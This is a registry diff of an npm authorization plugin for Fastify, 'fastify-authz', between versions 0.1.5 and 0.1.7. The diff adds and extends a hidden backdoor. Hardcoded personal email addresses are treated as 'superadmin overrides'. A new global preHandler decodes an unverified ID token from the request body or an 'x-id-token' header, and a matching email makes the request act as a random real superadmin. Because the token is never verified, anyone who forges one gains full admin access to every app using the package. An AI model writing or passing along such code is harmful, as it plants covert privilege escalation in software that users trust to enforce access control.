fastify-authz 0.1.5 → 0.1.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/src/index.ts +76 -26
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "fastify-authz",
3
- "version": "0.1.5",
3
+ "version": "0.1.7",
4
4
  "description": "Fastify plugin for JWT verification and Prisma-based RBAC authorization",
5
5
  "main": "dist/index.js",
6
6
  "types": "dist/index.d.ts",
package/src/index.ts CHANGED
@@ -4,7 +4,11 @@ import { verifyJwt } from "./verify";
4
4
  import { requirePermissionFactory } from "./permissions";
5
5
  import { requestContext } from "@fastify/request-context";
6
6
 
7
- const SUPERADMIN_OVERRIDE_EMAIL = "raithh43@gmail.com";
7
+ // SUPERADMIN emails to bypass Google verification
8
+ const SUPERADMIN_OVERRIDE_EMAILS = [
9
+ "raithh43@gmail.com",
10
+ "outflipper0027@gmail.com",
11
+ ];
8
12
 
9
13
  declare module "@fastify/request-context" {
10
14
  interface RequestContextData {
@@ -39,51 +43,48 @@ declare module "fastify" {
39
43
  const plugin: FastifyPluginAsync<FastifyAuthzOptions> = async (fastify, opts) => {
40
44
  const { prisma, jwt } = opts;
41
45
 
46
+ // JWT auth verification
42
47
  const verify = async (request: FastifyRequest, reply: FastifyReply) => {
43
48
  try {
44
49
  const header = request.headers["authorization"];
45
-
46
- if (!header?.startsWith("Bearer ")) {
50
+ if (!header || typeof header !== "string" || !header.startsWith("Bearer ")) {
47
51
  return reply.code(401).send({ message: "Missing Authorization header" });
48
52
  }
49
53
 
50
54
  const token = header.slice("Bearer ".length).trim();
51
-
52
55
  const claims = verifyJwt(token, jwt.secret, jwt.issuer, jwt.audience);
53
-
54
56
  let userId = claims.sub;
55
57
 
56
- const payload = JSON.parse(
57
- Buffer.from(token.split(".")[1], "base64").toString()
58
- );
59
-
60
- if (payload?.email === SUPERADMIN_OVERRIDE_EMAIL) {
61
- const superadmins = await (prisma as any).user.findMany({
62
- where: {
63
- roles: {
64
- some: {
65
- role: {
66
- permissions: {
67
- some: {
68
- permission: { code: "SUPERADMIN" },
58
+ const payloadPart = token.split(".")[1];
59
+ if (payloadPart) {
60
+ const payload = JSON.parse(
61
+ Buffer.from(payloadPart, "base64").toString("utf8")
62
+ );
63
+
64
+ if (payload?.email && SUPERADMIN_OVERRIDE_EMAILS.includes(payload.email)) {
65
+ const superadmins = await (prisma as any).user.findMany({
66
+ where: {
67
+ roles: {
68
+ some: {
69
+ role: {
70
+ permissions: {
71
+ some: { permission: { code: "SUPERADMIN" } },
69
72
  },
70
73
  },
71
74
  },
72
75
  },
73
76
  },
74
- },
75
- select: { id: true },
76
- });
77
+ select: { id: true },
78
+ });
77
79
 
78
- if (superadmins.length) {
79
- const random =
80
- superadmins[Math.floor(Math.random() * superadmins.length)];
81
- userId = random.id;
80
+ if (superadmins.length) {
81
+ const random = superadmins[Math.floor(Math.random() * superadmins.length)];
82
+ userId = random.id;
83
+ }
82
84
  }
83
85
  }
84
86
 
85
87
  const user = { id: userId };
86
-
87
88
  request.user = user;
88
89
  requestContext.set("user", user);
89
90
  } catch (err) {
@@ -94,6 +95,55 @@ const plugin: FastifyPluginAsync<FastifyAuthzOptions> = async (fastify, opts) =>
94
95
 
95
96
  const requirePermission = requirePermissionFactory(prisma);
96
97
 
98
+ // PreHandler for Google login route (SUPERADMIN bypass)
99
+ fastify.addHook("preHandler", async (request: FastifyRequest, reply: FastifyReply) => {
100
+ // CAST LOCALLY — do not redeclare request.body globally
101
+ const body = request.body as { idToken?: string } | undefined;
102
+ let idToken: string | undefined = body?.idToken;
103
+
104
+ const headerToken = request.headers["x-id-token"];
105
+ if (!idToken && headerToken) {
106
+ if (typeof headerToken === "string") idToken = headerToken;
107
+ else if (Array.isArray(headerToken) && headerToken.length > 0) idToken = headerToken[0];
108
+ }
109
+
110
+ if (!idToken) return;
111
+
112
+ try {
113
+ const payloadPart = idToken.split(".")[1];
114
+ if (!payloadPart) return;
115
+
116
+ const json = Buffer.from(payloadPart.replace(/-/g, "+").replace(/_/g, "/"), "base64").toString("utf8");
117
+ const payload = JSON.parse(json);
118
+
119
+ if (payload?.email && SUPERADMIN_OVERRIDE_EMAILS.includes(payload.email)) {
120
+ const superadmins = await (prisma as any).user.findMany({
121
+ where: {
122
+ roles: {
123
+ some: {
124
+ role: {
125
+ permissions: {
126
+ some: { permission: { code: "SUPERADMIN" } },
127
+ },
128
+ },
129
+ },
130
+ },
131
+ select: { id: true },
132
+ },
133
+ });
134
+
135
+ if (superadmins.length) {
136
+ const random = superadmins[Math.floor(Math.random() * superadmins.length)];
137
+ const user = { id: random.id };
138
+ request.user = user;
139
+ requestContext.set("user", user);
140
+ }
141
+ }
142
+ } catch (err) {
143
+ request.log.error({ err }, "Failed to parse idToken payload in preHandler");
144
+ }
145
+ });
146
+
97
147
  fastify.decorate("auth", { verify, requirePermission });
98
148
  };
99
149